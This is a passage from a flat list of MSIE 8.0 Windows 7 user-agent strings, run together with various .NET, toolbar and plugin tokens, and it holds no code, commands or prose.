3.0.30729; InfoPath.3; .NET4.0C; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; SLCC1; Zune 4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.3; .NET4.0C; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; Tablet PC 2.0; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; MS-RTC LM 8; InfoP Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; Tablet PC 2.0; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.30618; .NET4.0C; InfoPath.2; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.30618; Media Center PC 5.0; MS-RTC LM 8; SLCC1; Tablet PC 2.0; MSSDMC2.5.2219.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) chromeframe/8.0.552.237 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; Tablet PC 2.0; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Zune 4.7; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; Tablet PC 2.0; .NET CLR 4.0.20506; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; SLCC1; MSSDMC2.5.2219.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET CLR 1.1.4322; .NET4.0E; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8; Tablet PC 2.0; .NET CLR 1.1.4322; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET CLR 1.0.3705; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; MS-RTC LM 8; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3; AskTbBT4/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; Tablet PC 2.0; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Media Center PC 5.0; SLCC1; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; Lunascape 6.3. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; Zune 4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1; Tablet PC 2.0; Lunascape 6.3.4.23051) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.1; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.1; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSSDMC2.5.2219.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; .NET4.0C; AskTbPTV2/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/10.0.648.151; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/28.0.1500.37; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; iCafeMedia; QQDownload 667; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; FunWebProducts; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; OfficeLiveConnector.1.5; OfficeLivePatch. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MSSDMC2.5.2219.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 5.5 (build 02842); GTB6.3; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 5.5 (build 02842); SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0; .NET CLR 1. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; QQPinyin 686; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; AskTB5.6; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC EA 2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC EA 2; MS-RTC LM 8; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; AskTB5.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.1; AskTbMYC/5.9.1.14019) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; FDM) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Lunascape 6.3.2.22803) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8; Zune 4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Zune 3.0; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; yie8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Sleipnir/2.9.6) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; TheWorld) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe/20.0.1132.57; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media 